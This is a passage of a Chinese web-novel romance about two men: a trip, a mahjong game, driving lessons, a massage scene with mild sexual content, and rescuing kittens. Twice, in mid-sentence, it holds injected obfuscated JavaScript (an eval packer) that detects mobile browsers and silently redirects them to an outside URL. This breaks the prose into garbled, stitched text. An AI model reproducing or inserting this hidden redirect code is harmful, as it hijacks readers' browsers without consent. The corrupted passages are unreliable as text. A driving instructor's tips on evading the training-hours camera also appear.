“我来吧。”厉时修从柯向阳手里接过东西,让他去帮老爷子生火。 “这叫碱水饼,用我自己腌制的酸菜来炒着吃可香了,外面吃不到的。”老爷子动作娴熟地挥动锅铲,快速翻炒着锅里的饼片。 酸菜、蒜叶、辣椒的加入一下激发出更加浓烈的香气,原本灰扑扑的饼片出锅时已经变得焦黄诱人。 老爷子又做了碗肉丝汤,搭配酸辣咸香的炒饼吃刚刚好。 “爷爷,这炒饼真香。”柯向阳此刻十分庆幸没有因为客气而拒绝老爷子的午饭邀请。 “那当然,爷爷从不骗小孩。”有了两个年轻人陪着,老爷子也难得地多吃了两口。 饭后柯向阳包揽了洗碗的任务,收拾好厨房,三人一起站在门口消食。 老爷子说到自己的子女都在城市里定居,老想把他也接去,他不乐意,子女们只能隔三差五地回来看望。 “城市里哪有我们这风景好啊?你说是不是?我才不去呢。” “是啊,还是这里舒服。”柯向阳享受着午后从河面吹来的清风,望向身边的厉时修,希望时光可以在这一刻多停留会。 * 柯向阳和厉时修在水泽镇待了三天。 镇上的快捷酒店条件不比高档酒店,尤其是卫生方面,幸亏柯向阳带了许多一次性用品,才勉强打消厉时修要去市里住宿的念头。 后面两天他们把周边的村子都逛了一遍。 临走前又去看了老爷子,给他买了许多东西。 “以后有空常来玩,爷爷再带你们去划竹排。”老爷子打包了一大袋饼给他们,“回去自己炒着吃啊。” “谢谢爷爷,爷爷再见。”柯向阳不舍地挥手告别,不由想到自己的奶奶,也是这样一位善良、热情、疼爱小辈的老者。 去机场的路上,柯向阳闲来无事坐在车里整理照片,把没拍好的都删掉,翻到几张他抓拍的厉时修,就算模糊也难掩帅气,全部保留。 再往下翻,看见厉时修帮他拍的照片,他本以为拍坏了,当时根本没点开看。 照片里加了个当下流行的小动物滤镜,正好将他尴尬的表情挡得严严实实,透着几分可爱,柯向阳从来没拍过这种照片,一时觉得有些脸热,连忙划过,继续筛选自己拍的风景照。 这次旅游的体验感很好,柯向阳难得想发个朋友圈。 照片太多,难以取舍,他便下载p图软件把图片拼接起来制成长图。 “厉哥,你要发朋友圈不?发的话我把照片发你。”柯向阳转头问道。 厉时修的朋友圈也是万年更新一次:“发吧。” 于是两人一起发了差不多内容的朋友圈,全是风景照。 同时拥有两人好友的程嘉弘马上给他们一人点了个赞,并发出同样的评论:你俩去哪玩了啊?风景真好。 除了程嘉弘,还有很多人在问地点,柯向阳一个一个耐心地回复了,乔梦书更是直接在微信上问他。 柯向阳顺便把水泽镇要变成旅游区的消息也告诉他,让他要来玩就趁早。 乔梦书:【靠,早知道跟你们一起去了,后面就剩个端午节的假。】 柯向阳:【端午节也有三天呢,够了。】 乔梦书:【那样只能玩两天。】 柯向阳:【两天也够了呀,只要去临永村就好了,周围的村子没那好看。】 乔梦书:【到时候再说吧,明天出来打麻将不?】 柯向阳想了想,确实好久没打过了,明天是五一假期最后一天,过完就要去练车了:【可以,都有谁啊?】 乔梦书:【徐佑和齐朔呗。】 柯向阳:【那我就不带厉哥去了。】 乔梦书:【你想带的话也行啊,你那边再找个人凑一桌。】 柯向阳的列表里只有一些老同学和前同事,都没有熟到能喊出来打麻将的地步:【算了吧。】 跟乔梦书约好时间,离到机场还有半个小时,柯向阳正准备闭上眼小憩一会,厉时修突然开口:“怎么不发小狗照片?” 柯向阳心想哪来的小狗? “我拍得不好看吗?挺适合你的啊。”厉时修认真欣赏自己的手机屏幕,上面赫然显示着柯向阳那张带着滤镜的照片。 柯向阳的脸轰地一下就红了。 7. 麻将 假期最后一天,连天气都变差了。 柯向阳看向窗外阴沉沉的天空,感觉马上就要下雨。 他跟乔梦书约的是下午两点,这会才吃完午饭,和厉时修一起坐在客厅看电视。 “这都演的什么玩意?是给人看的吗?”厉时修双手抱胸背靠抱枕,对着高清屏幕里两个互诉衷肠的主角嗤之以鼻。 “我觉得挺好的啊,网上评分很高呢。”柯向阳倒是看得津津有味。 电视上播放的是最近很火的一部仙侠剧,画面唯美,特效华丽,演员演技在线,颜值也高,唯一容易遭受诟病的大概就只有剧情走向了。 “神仙要是都这么恋爱脑,人类早灭绝了。”厉时修觉得看这种电视剧简直是在侮辱自己的智商。 “所以只是电视剧呀,你不要那么较真。”柯向阳看着男女主的互动还觉得挺浪漫的,虚构的剧情何必带入现实呢? “就是有你这种不较真的观众,才会有那么多烂剧霸屏。”厉时修冷哼一声。 “你要是不想看就别看了,像我这种脑袋褶皱被磨平的人就是喜欢看弱智剧不行吗?”柯向阳受不了了,明明是他让自己选的剧,这会又一直挑刺。 厉时修不说话了。 “那你挑一部嘛,你要看什么?”柯向阳短暂地硬气了会,又软了下来,退回选剧的页面,让厉时修自己选。 手机铃声响起,是乔梦书的电话,柯向阳把遥控递给厉时修,走到阳台接听。 乔梦书说徐佑有事去不了,让柯向阳把厉时修带上。 柯向阳想想乔梦书的对象不在,齐朔跟他们不熟,应该不容易暴露什么,于是转头问厉时修:“厉哥,你想去打麻将吗?” 正拿着遥控器乱按一通的厉时修顿时停下折磨遥控器的动作:“去。” 挂断电话,柯向阳还不放心地给乔梦书发了消息,絮絮叨叨地嘱了一番。 出门的时候果然下雨了,厉时修直接开车去的棋牌室。 他们玩的是本地麻将,带花带金,吃上家碰全场,可以平胡可以自摸,还有抢金、金雀和三金倒的胡法,玩法简单易上手。 自己人打着玩算分比较随便,也不玩钱,一般输的人付房费。 厉时修在国外没有打过麻将,对这种被称为“国粹”的活动有几分兴趣,听了一遍规则基本就懂了。 打完一圈,完全看不出他是个新手,但新手光环却一点没少。 “吃。”坐在厉时修上家的乔梦书再次给他喂了一口牌。 “又吃,要漏金了。”乔梦书忍不住阴阳怪气。 吃牌、碰牌、摸牌都算进牌,得直接打一张出去,吃了牌就不能摸牌,不能摸牌就有可能错过摸金的机会,所以称为“漏金”。 话才说完,坐在厉时修下家的柯向阳又给他点炮了。 乔梦书:“……” “这把你的花牌好多啊,还连庄了,底分是十分吧?”柯向阳羡慕极了,他每次平胡花牌都很少,做庄也是火速下庄。 “知道还给他点炮!”乔梦书无语了,再看一眼柯向阳打出去的牌,更是气不打一处来:“桌上一张七条都没有你也敢打,到底他是新手还是你是新手啊?” “那我放手里又没用,我都没有条子,还听牌了,就胡一张。”柯向阳倒是无所谓,只是数了下自己剩的筹码,已经不够付了。 厉时修收了乔梦书和齐朔的筹码,对柯向阳说:“你先欠着。” “今天都没人抢金。”齐朔一边码牌一边笑道。 “等着,我马上抢给你们看。”乔梦书的胜负欲上来了,只想赢把大的。 可惜,今天他的手气和柯向阳一样差,没有等来抢金,倒是等来了厉时修的自摸。 “二连庄,底分15,花牌12,自摸翻倍,一人54分,没错吧?”厉时修熟练地算起分来。 乔梦书只觉两眼一黑,狂掐人中。 齐朔和乔梦书手里的筹码也见底了,打了两个小时,完全是厉时修一家赢三家。 等厉时修下庄,柯向阳上庄,不知是有意还是无意,厉时修连点几炮,直接送了个四连庄给他。 “您就是传说中的点炮王吗?”在乔梦书看来,厉时修就是在明目张胆地喂牌,这是作弊!简直牌品败坏! 不过最后的房费是厉时修付的,还要请他们吃晚饭,乔梦书心里的气瞬间烟消云散。 * 打完麻将出来,天已经放晴,还能看到夕阳。 晚饭吃的是柯向阳喜欢的日料自助。 好在厉时修提前预定了包间,他们到店时大堂里早坐满了人。 这个季节许多刺身食材正是肥美的时候,柯向阳和乔梦书凑在一块,对着平板上的菜单不停地点加号。 刺身中的热门菜品必须全部点上,还有这家店的招牌寿喜锅也不能少。 厉时修不爱吃海鲜,柯向阳按照他的口味给他点了些熟食。 齐朔不挑食,什么都吃,乔梦书便照着自己的口味给他来了个全套。 难得吃一次自助,自然要朝着回本的目标努力,于是吃到最后,不可避免地开始了经典的甩锅环节。 “这是你点的,你吃。”乔梦书指着面前的蒲烧鳗鱼说。 “这还是你点的呢,你吃哦。”柯向阳不甘示弱地把另一盘香煎鹅肝推了过去。 “我吃不下了,都说了别点那么多熟食你还点。”乔梦书瘫坐在椅子上,有气无力道。 “我问你的时候你怎么都说要呢?”柯向阳把寿喜锅里的肉捞出来放进厉时修碗里,“你没吃刺身,多吃点肉。” 厉时修:“……” “没事没事,我能吃。”关键时刻齐朔挺身而出,把桌上没吃完的菜品全部端到自己面前开始收尾。 “年轻就是好啊。”乔梦书不由叹道。 “那我再点两份甜品吧。”柯向阳突然觉得又有胃口了,点开菜单,焦糖布丁、杨枝甘露、香草冰淇淋全部来两份。 乔梦书:“我也要。” 齐朔:“我也要,再给我点罐可乐吧。” 柯向阳看着他面前的三个可乐罐子:“喝这么多可乐肚子不胀吗?怎么还能吃这么多的?” 齐朔:“不会啊,可乐是解腻的。” “不愧是男大。”柯向阳佩服得五体投地。 从店里出来,柯向阳感觉吃下去的东西要满到嗓子眼了。 厉时修开了车,正好可以送齐朔和乔梦书回去。 “也是让我坐上豪车了。”停车场里,乔梦书绕着眼前那台豪车啧啧称奇,边看边拍照,“这辆车得多少钱?” “八代幻影,顶配的话一千一到一千二吧。”回答他的是齐朔,厉时修没否认。 柯向阳对车再无知,此刻也知道齐朔说的数字后面省略了一个单位,不由咂舌。 “我靠!真想跟你们这些有钱人拼了。”乔梦书嘴上这么说着,上车的动作那叫一个敏捷。 * 五一假期转瞬即过。 节后厉时修就要到公司上班,柯向阳也开始了艰苦的练车生活。 “倒,倒,倒,看到点了就向右打死,打死打死打死!哎呀,慢了一点。”教练的语气里满是可惜,随后急忙喊道:“回半圈回半圈,车轮压到库角的延长线上没?压到了方向盘再向右打死,然后该看哪里呀?” 柯向阳转头看向左后视镜,后车轮毫不意外地压上了左侧库角线上,扣一百分。 教练讲的参照点他是记住了,但动作跟不上大脑,手脚也跟没商量好似的,配合极差,等想到该干嘛的时候,已经错过最佳时机了。 此刻他满脑子都是“打死”两个字,干脆把他打死吧,不想学了。 “没事没事,刚开始练车都这样,熟悉了就好啦,你先自己练会,我去看看手动挡的学员,有什么问题给我打电话啊。”教练姓陈,是乔梦书推荐的,老学员带新学员有回扣,乔梦书直接让教练把回扣算在学费里,给他多便宜了两百。 最重要的是陈教练的脾气较其他教练要好许多,不怎么骂人,这也是柯向阳找教练的唯一要求。 陈教练才走开两步,又回头提醒:“刷学时的时候安全带别解开,要是想玩手机注意别被摄像头拍到,要下车就随便找个人坐副驾上签退,千万别自己一个人退出了,签到也是,边上得有人。” “知道了,谢谢教练。” 今天下午来练自动挡的学员就他一个,虽然可以一人独享一辆车,但是没有伴,上厕所都得麻烦别人帮忙签退签到。 柯向阳有些后悔没早点报考了,大三那年乔梦书喊他一起学车,他因为要做兼职没去,去年还是被厉时修逼着报了名,拖到现在才来学。 教练只教了他右倒库,没有人在边上盯着,柯向阳没那么紧张,有时候开到一半停下来慢慢琢磨也没人管,这么反复练习了几趟,总算找到感觉,没再压过线了。 中途教练来验收了一下成果,又教了他左倒库,让他继续练。 三个小时过去,柯向阳的倒车入库已经很熟练了,照教练的话来说,最难的学完了,后面几个项目根本不成问题。 回去的路上,柯向阳哼着小曲骑着车,心情逐渐好了起来。 眼下离饭点还有一会,他想到平时一直想吃又懒得排队的煎蛋饼,车头一转往摆摊的地方骑去。 这家煎蛋饼每天下午四点出摊,晚一点就得排长队,足以说明老板的手艺。 他给厉时修发消息问他多久下班。 厉时修大概在忙,没有回复。 这会煎蛋饼的摊子前已经聚集了不少人,柯向阳点完单,排在队伍末端等候。 摊主是一对中年夫妻,男老板负责煎饼,女老板负责打包。 不大的铁板上带着两个凹槽,一次可以同时炒制两份内馅,内馅只有鸡蛋和提前腌制过的肉丝,葱、香菜和辣度都是自主选择的。 炒馅的同时,薄薄的饼皮也会放在铁板上加热一下,馅好了用饼皮一裹,热腾腾的煎蛋饼就出锅了。 煎一个蛋饼要两分多钟,柯向阳前面还有十几单,轮到他时已经过去三十分钟了。 正好厉时修发来消息:【今天可能要加班,得晚一点,你饿了就先吃饭。】 柯向阳拎着装有煎蛋饼的塑料袋,打字回复:【那我可以去公司找你吗?我买了煎蛋饼。】 厉时修:【可以。】 得到想要的回复,柯向阳将煎蛋饼挂在车头的工具箱前,戴上头盔,拧动车把手,潇洒起步。 * 东盛集团鹤水分公司坐落于鹤水市的中央商务区,所处的东盛大厦整栋楼都是自家产业,不过他们分公司只占用了顶部的八层,其余楼层是对外出租的。 柯向阳抬头仰望这栋百米高楼,要不是来找厉时修,他大概这辈子都不会踏足这种地方。 电梯只能坐到25层,出来看见的就是东盛的前台,柯向阳有些局促地朝前台打了个招呼:“你好,我找你们厉总。” 前台礼貌地问:“请问您是柯先生吗?” 柯向阳点点头:“是的。” “厉总的办公室在顶楼,需要坐专门的电梯上去,请跟我来。”前台带柯向阳去乘坐总裁办公室的直达梯。 “谢谢。” 柯向阳到的时候,厉时修正在跟江秘书确认接下来的行程安排。 江秘书之前来家里给厉时修送过几次资料,所以柯向阳认得他,两人对视一眼,点点头,算是打了招呼。 “你坐那自己玩一会。”厉时修抽空朝柯向阳说了一句。 “你忙你的,不用管我。”柯向阳坐在沙发上,转着脑袋细细打量起这间办公室。 进门对着的就是占据整面西墙的弧形落地窗,可以将大半鹤水市的风景收入眼底。此刻正值黄昏,夕阳余晖洒向进口大理石铺就的地面,透着淡淡光泽。 办公区域矗立着由黑檀木打造的足有三米长办公桌,真皮转椅背后是定制的陈列架,上面依次摆放着专业书籍、文学名著和艺术画册,还有单独一排烫金证书,隐藏式灯带为每件藏品镀上一层暖黄色的光晕。 左侧是柯向阳坐着的会客区,铺设意大利小牛皮U型沙发,搭配黑色钢化玻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171828|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璃茶几。沙发后面是个嵌入式的酒柜,限量版的红酒和威士忌整齐排列,边上还有个冰吧。 门口的墙面上悬挂着几幅装饰油画,浓烈的色彩与冷白墙面形成鲜明对比,营造出强烈的视觉冲击。 等了一会,厉时修还没有忙完,柯向阳便拿起一个煎蛋饼吃了起来。 诱人的香气缓缓弥漫在整个办公室,厉时修和江秘书的谈话声突然停下,齐刷刷看向吃饼吃得正欢的柯向阳。 柯向阳咀嚼的动作一顿,不好意思道:“我吃得太大声打扰到你们了吗?” 厉时修:“没有。” 看看自己手里的饼,他试探地问:“那……吃饼吗?” “是不是在新唐路口那里摆摊的煎蛋饼?”江秘书反问。 柯向阳:“对啊。” “那家好吃,就是排队排太久了。”江秘书显然是识货的,闻言立即双眼放光。 “我今天去得早,多买了两个,你要吗?”柯向阳买的时候想着自己和厉时修一人一个肯定不够吃,就买了四个。 “要,谢谢啊,我把钱转你吧。”江秘书掏出手机想给他转账。 柯向阳摆摆手:“不用,又不贵,请你吃了。” “你去把会议资料备好,半小时后开会。”厉时修扯了扯领带,起身走向沙发。 “好的。”江秘书带上文件和白嫖的煎蛋饼出了办公室。 “赶紧吃个饼垫垫肚子,还热着呢,凉了就不好吃了。”柯向阳递给他一个饼催促道。 厉时修接过咬了一口,评价:“还行。” 柯向阳见他几口吃完一个,知道他肯定饿了,便把剩下那个也递给他。 厉时修从冰吧里拿出两瓶水:“一会我要去开会,你先回去?” 柯向阳想了想,答:“我在这等你吧,回去也没事干。” “行,架子上的书随便看,桌上的资料不要动。”厉时修拿起柯向阳的手机,帮他连上办公室的无线网,“无聊就自己打打游戏。” “知道了。” “想喝酒的话自己拿,冰吧里还有水果。” 柯向阳:“……” 走之前,厉时修特地让江秘书送来一堆零食。 办公室里只剩下柯向阳一个人,他站起来转了一圈。 先是在落地窗前欣赏了一番夕阳西下的美景,又去研究了一下冰吧,里面除了水果,就只有咖啡豆和高档瓶装水。 还是看看书吧。 柯向阳在书架上找来找去,发现几乎全是英语原版书,不由挠挠头,最后挑了本画册出来。 办公室里装有恒温系统,舒适的温度极易令人身心放松,加上画册里各种看不懂的作品,柯向阳很快开始昏昏欲睡。 不知过了多久,头顶传来轻微的异动,柯向阳睁开眼,看见厉时修坐在自己身边手捧画册。 “下班了吗?”柯向阳下意识问道,声音里带着股刚睡醒的懒劲。 “嗯,可以回去了。” 柯向阳揉揉眼睛,发现身上还盖着厉时修的西装外套。 到地下车库时,柯向阳才想起自己的电动车还停在外头。 厉时修:“明天再来骑回去不就好了?” 柯向阳:“明天我还要骑去练车呢。” 厉时修:“我送你去。” 柯向阳:“我直接现在骑回家不是更快吗?” 厉时修不爽道:“早让你把那个破烂卖掉了。” “哪里破了?而且电动车很方便啊。”柯向阳的声音越来越小,最后顶着厉时修凶狠的目光一路小跑离开,没跑多远就听见身后传来一阵巨大的关门声。 晚上两人在家中汇合,厉时修看见柯向阳又是一声冷哼。 下午吃的煎蛋饼早就消化完了,好在家里还有阿姨做的晚餐。 等柯向阳热好晚餐,厉时修的气也消了。 两人吃完饭又一起坐在客厅看昨天那部仙侠剧。 * 接下来两天柯向阳把侧方停车、曲线行驶和直角转弯都学完了,开始绕着整个训练场练全程。 自动挡不需要踩离合,还没有坡道定点停车和起步的项目,所以学车速度比起手动挡要快上许多。 练全程的时候车里不再只有柯向阳一个人,多了另外两个学员。 三个人一辆车,一个人只能练一小时,差不多开个五六圈,刷学时的进度也慢了很多。 为了把科三的学时一起挂完,柯向阳在教练的建议下预约了下周四的考试。 这会柯向阳正坐在后排刷手机,突然被巨大的惯性带得往前冲去,撞上了座椅靠背,他都数不清这是第几次了。 “不好意思不好意思。”开车的是个男学员,总是习惯性地松开脚刹,导致车速过快而来不及操作,一着急踩刹车也变得没轻没重的。 “没事。”柯向阳摸摸鼻子,发现了练车时男生开车普遍急躁,女生开车则平稳得多,“前面放我下车吧,我去上个厕所。” “好的。” 上完厕所的柯向阳没回车里,他今天的练习已经完成,是为了练一圈油车才没急着走。 考场的车分油车和电车两种,陈教练手里只有电车,想练油车得去找其他教练借,所以他在等教练安排。 虽然教练说电车和油车差别不大,也告诉过他们点位的差别,但柯向阳就是不放心。 事实证明他的担心不是多余的,完全是出于对自己运气的充分了解。 考试时柯向阳果然倒霉地分到了油车,油车的方向盘格外沉重,座位也比电车低许多,好在他考前练了一圈,最后有惊无险地通过考试。 还是第一时间把这个好消息告诉厉时修,只是这次厉时修没有时间来接他,因为他最近特别忙,连在家里的时间都变少了。 柯向阳问陈教练什么时候可以练科三,被告知得凑齐四个学员一起去,到时候直接在考场练,所以要等通知。 不过科三还有260公里的里程数要完成,教练跟他约了时间。 柯向阳万万没想到竟是要他直接在公路上开完这260公里。 8. 按摩 最低限速60km/h的公路上,许多大货车呼啸着来来往往。 在教练的指令下,柯向阳握住方向盘的手指微微移动,开启转向灯,轻踏油门。 与巨大货车并行的短暂时间里,柯向阳心跳加速,肾上腺素飙升,直到并行结束,换回右侧车道。 真是一次酣畅淋漓的超车。 “你放松点,别害怕,我这边也有刹车,有问题我会帮你踩一脚的。”陈教练倒是很放松,打开自己的保温杯喝了两口枸杞水。 “好的。”话是这么说,柯向阳依旧挺直了腰,绷紧神经,车里开了空调,他的后背和手心仍一直冒汗。 两个小时开了一百多公里,里程数才刷了一半。 明天又是周末,练车的人多,陈教练没空带他上路,两人便约好周一下午再把剩下的里程数刷完。 回到家,厉时修专门请的做饭阿姨已经在厨房里忙碌了。 柯向阳跟她打了声招呼,径直往沙发走去,感觉自己从头到脚没有一个地方不难受。 流了汗的皮肤带着他讨厌的黏腻感,面对大沙发的诱惑,柯向阳还是选择先去洗个澡。 换上睡衣,整个人像是被抽走了筋骨,变成一滩软肉陷进沙发。 今天厉时修下班比较早,回来看到的就是柯向阳一动不动趴在沙发上的场景。 “开个车给你累成这样,敢不敢再没用一点?”厉时修抬脚踩了踩他的大腿。 “别踩,好痛。”柯向阳转过头有气无力地说,露出的半张脸上满是幽怨,“持续两个小时处于注意力高度集中的紧张状态下,能不累吗?” “才两个小时就吃不消,所以说你该锻炼了,明天开始跟我一起健身。”厉时修脱掉外套,解开领带,坐在柯向阳身侧,往后一靠就能压住他的屁股。 “不要啊,我不想锻炼。”柯向阳艰难蠕动身体,给厉时修腾出位置。 厉时修:“里程数刷完了吗?” “没有,才刷了一半,下周一还得去。”一想到这,柯向阳又把头埋了回去,真不想去啊。 阿姨已经做好饭离开了,临走前嘱咐他们要趁热吃。 厉时修伸手拉他:“起来吃饭。” “我不想吃,没有胃口。”柯向阳的声音闷在枕头里,瓮声瓮气。 短暂的沉默过后,柯向阳突然感觉两侧的沙发明显下陷一截,一双温热的手掌贴上他的肩胛骨,给他吓一激灵,条件反射般想要挣扎。 厉时修欺身而上,膝盖抵在他腰间,利用身体的重量压得他无法动弹:“别动,我给你按按。” 柯向阳的睡衣早就换了夏款,主打一个清凉宽松,薄薄的布料根本无法隔绝厉时修掌心的温度。 指腹在没什么厚度的后背上摸索了一番,随后带着不容抗拒的力道按压起僵硬的肌肉。 原本还在微微颤栗的柯向阳瞬间感觉脑袋里像绷断了一根弦似的,发出一声惨叫:“啊——” “你叫那么大声干什么?跟杀猪似的。”厉时修没好气道,“我都没用力,怎么还是这么不吃力?” “明明是你手劲大,不是我不吃力。”柯向阳嘴硬道。 “呵。”厉时修气笑了,握住他的肩膀一捏。 “嘶——轻点啊。”柯向阳挣扎着控诉,“真的很痛!” “真是没用。”厉时修骂了一句,收了力道。 柯向阳:“再轻点。” 厉时修:“这样?” 柯向阳:“再轻点。” 厉时修干脆把手移开:“这样呢?” 柯向阳松了口气:“这样好多了。” 厉时修瞥了眼身下因为挣扎而露出的白皙腰身,面无表情地伸出邪恶双手:“我看你真是欠收拾了。” “啊!哈哈哈哈!别挠了,我错了我错了,别挠了啊!”极度怕痒的柯向阳像条离水的鱼使劲扑腾起来,试图逃离腰上的魔爪。 压在柯向阳身上险些被掀翻的厉时修捏了捏他的后脖颈:“这不是挺有劲的吗?” 身上又疼又痒,柯向阳崩溃地朝厉时修讨饶,又闹了一阵,厉时修才放过他:“老实趴好,现在按一按,明天才不会痛。” “那你轻点哦。”柯向阳擦擦眼角的泪水,乖乖趴好。 这次厉时修的动作放轻许多,拇指顺着肩膀往颈部逆推按压一阵,掌根沿着脊柱缓缓往下,在腰椎两侧有规律地打着转,周而复始。 酸胀感自肌肉深处炸开,仿佛无数细小的电流沿着手指揉搓的地方蔓延开来。 习惯了这种程度的疼痛,柯向阳渐渐觉出一丝畅快,难以抑制发出细碎的闷哼,在寂静的客厅荡出点点涟漪。 身体变得越来越热,尤其是被触碰过的地方,简直热得发烫。 柯向阳隐隐觉得有些不妙,正想喊停,厉时修却先一步起身,声音低沉地开口:“差不多了,我去洗个澡,你饿了就先吃饭。” 背后的重量消失,柯向阳仍埋着脑袋,露出的耳朵连着脖子肉眼可见地红成一片。 因为他发现自己竟然可耻地起反应了。 为了不被发现异样,柯向阳第一次不等厉时修吃饭,随便吃了两口就躲回房间,因此没有发现厉时修的澡洗得比平时要久许多。 浴室里,水汽蒸腾的磨砂玻璃上若隐若现地映出男人高大修长的轮廓。 骨节清晰的手指抹过湿润的面庞,露出一双看不出情绪的眼睛。 水流漫过喉结,顺着结实的胸膛淌落,流向块块分明的腹肌。 厉时修站在花洒下不停调低水温,却怎么也扑不灭心头难以言状的火焰。 终于,像是放弃抵抗般,他朝下伸出手,回想先前看到的那抹刺眼的白和总是湿漉漉的双眼。 粗重的喘息被淹没在哗哗的水声之中,一如他的欲望,只能被淹没在纯洁的友情之下。 * 第二天起来,柯向阳的身体还有些酸痛,但比起昨天已经好上许多,这都得归功于厉时修的按摩。 想到按摩,柯向阳又回忆起昨天两人在沙发上的情形,不由脸颊发烫。 好在厉时修周末要加班,家里只有他一人,不然真有些尴尬。 闲来无事,柯向阳登上招聘网站,想找找有没有适合自己的岗位。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好像是,不确定。”柯向阳感觉像是一只大猫用身体圈住几只小猫,一时有些揪心,“要不要过去看看?” 乔梦书正好也有这个想法:“我们找老板借个伞吧。” 这家甜品店的老板是个年轻女孩,听到他们要做什么,二话不说地把伞借给他们。 “谢谢老板。” “别客气,对了,这个也给你们。”老板从柜台下面掏出一个快递箱,“要真是一窝小猫,你们就装在箱子里先带回来,这么大的雨,一直淋着怪可怜的。” “老板你真是人美心善。”乔梦书接过纸箱,朝老板竖了个大拇指。 两人撑着一把伞走到马路对面,照着店里看到的位置在绿化带里细细寻找起来。 一道微弱的猫叫声传来,一只浑身湿透的三花正睁着双琥珀色的眼睛看向他们。 9. 间接接吻 这只三花应该是猫妈妈,怀里挤着一窝小奶猫。 乔梦书撑着伞,柯向阳一只一只把小猫往纸箱里放。 母猫大概是太过虚弱,也可能是看出他们想要帮助自己,没有怎么抵抗就被抱了起来。 回到甜品店的时候,两个人连着纸箱都淋湿了。 店里的客人和老板全部围了过来,母猫正动作迟缓地舔舐着幼崽身上被雨水浸透的毛。 “好可怜啊。”两个初中生模样的女生捂着心口受不了地说道。 “小猫都不怎么动了,不会有事吧?”柯向阳拿纸巾擦了擦小猫的身体,能清晰感觉到它们的颤抖,“不然我们送去医院看看吧?” “行。”乔梦书拿出手机搜索附近的宠物医院。 “哎,我朋友就是宠物医生,你们去他那吧,收费比大医院低很多。”热心的老板立刻给自己的朋友打电话。 乔梦书闻言,问了地址,切换到打车软件,叫了辆宠物专车。 这是一家私人宠物诊所,医生已经从甜品店老板口中知道事情经过了,也不废话,直接上手检查。 “还好送来得及时,再晚点这两只就没命了。”医生指了指奶猫里最小的两只,一只小奶牛,一只小狸花。 因为淋雨失温,小猫一只只被擦干毛发放入恒温箱里。 医生准备好母猫的食物,又泡了羊奶给它补充营养,朝他们问:“你们是要自己养吗?” “我倒是想,但是我的出租屋养不了这么多,最多养两只吧。”乔梦书迟疑道。 柯向阳也想养,可他连个正经住处都没有,总不能养在厉时修家里吧? 见柯向阳有些迟疑,医生又说:“那我可以帮你们问问有没有想领养的。” “谢谢医生,麻烦你了。” 医生笑了笑:“不麻烦,我这本来就有几只猫要找领养,到时候我会办一个线下领养的活动,你们有空可以来玩。” 三人顺势加了微信。 柯向阳看着恒温箱里眼睛都睁不开只能挥动四肢的小猫,忍不住道:“它们真的好小啊。” “才出生没几天呢,不过小猫长得很快的。”营养不良的母猫没有多少奶水,医生给小猫们也喂了些羊奶。 吃饱喝足的一家六口很快就挤成一团睡着了,被暖光散发出的柔和光晕笼罩着的身体微微起伏,柯向阳看得心都要化了。 * 从医院出来,天又放晴了。 两人身上的衣服还湿着,和皮肤黏在一起十分难受,干脆一路往甜品店的方向走去,在阳光下晒晒衣服。 乔梦书看出柯向阳惦记着那窝小猫,提议:“要不你直接问问霸王龙想不想养猫?他那种有钱人最适合养宠物了。” “可是他有洁癖,应该不喜欢家里猫毛乱飞吧。”以柯向阳对厉时修的了解,他不像是会有耐心养宠物的人。 “你确定他有洁癖?上次吃自助我看他都直接喝你饮料了。”乔梦书头顶问号。 “……”这个问题柯向阳倒从来没有细想过,他们从高中开始就经常一起吃饭,不小心吃到点对方的口水是很正常的事吧? 柯向阳问:“我们俩不也经常这样吗?” “我又没洁癖,有洁癖的人怎么会吃别人的口水啊!”乔梦书无语。 “是这样吗?”柯向阳有些疑惑,可厉时修对卫生方面的要求确实苛刻到了龟毛的程度,这还不算洁癖吗? 乔梦书摸摸下巴,再次对厉时修的性向表示怀疑:“对于有洁癖的人来说,这种行为不就跟接吻一样?他真的不是gay吗?” “什么接接接接吻?!你别乱说。”柯向阳忙朝周围看了看,生怕被人听见,“当年我可是亲耳听到他说同性恋恶心的。” 自从发现自己喜欢厉时修,柯向阳也试探过,结果才说出“同性恋”这个词,厉时修就面带厌恶地吐出“恶心”两字,吓得柯向阳这么多年都不敢在他面前提起任何相关话题。 “这都过去多久了?再说了,你得相信自己的魅力,你忘了读大学时被你掰弯的那些直男了?”乔梦书翻了个白眼。 “什么叫被我掰弯?我什么也没做啊。”柯向阳无辜道,“要我说,他们本来就不直。” “就是你这股觉得自己什么也没做的无辜气质,最容易掰弯直男了。”乔梦书拍了拍柯向阳的肩,“还好我们两个撞型号了,不然我也得被你拿下了。” 柯向阳:“……” 乔梦书:“要不我委屈一下当回1,帮你这个万年老处男开个……” “不要说了!”柯向阳一把捏住乔梦书的嘴巴,“都是有对象的人了,能不能有点男德?” 乔梦书打开柯向阳的手:“行行行,就你有男德,都没跟人家在一起还要守身如玉的,你不会要当一辈子的处男吧?” 眼见乔梦书把话题越扯越远,柯向阳忙将话题拉了回去:“你真准备养两只小猫吗?徐佑不介意吗?” 徐佑跟乔梦书交往后就住在他那,目前两人已经同居五个月了。 乔梦书无所谓道:“房东都不介意养宠物,干嘛还要他同意?他不喜欢就回去住宿舍。” 柯向阳有时候挺羡慕乔梦书这种洒脱的性子,在感情中永远不委屈自己,谈恋爱的时候认真谈,分手的时候绝不拖泥带水,好像从来不会为情所困。 “你记得问问霸王龙要不要领养嘛,我们一起捡到的小猫,再一起领养了,以后还可以让它们一家子多聚聚。” “知道了,我回去再问。”柯向阳翻了翻手机里刚拍的小猫照片,越看越喜欢。 手机铃声响起,厉时修的电话正好过来了。 听不出情绪的声音从听筒传出:“你在哪?” 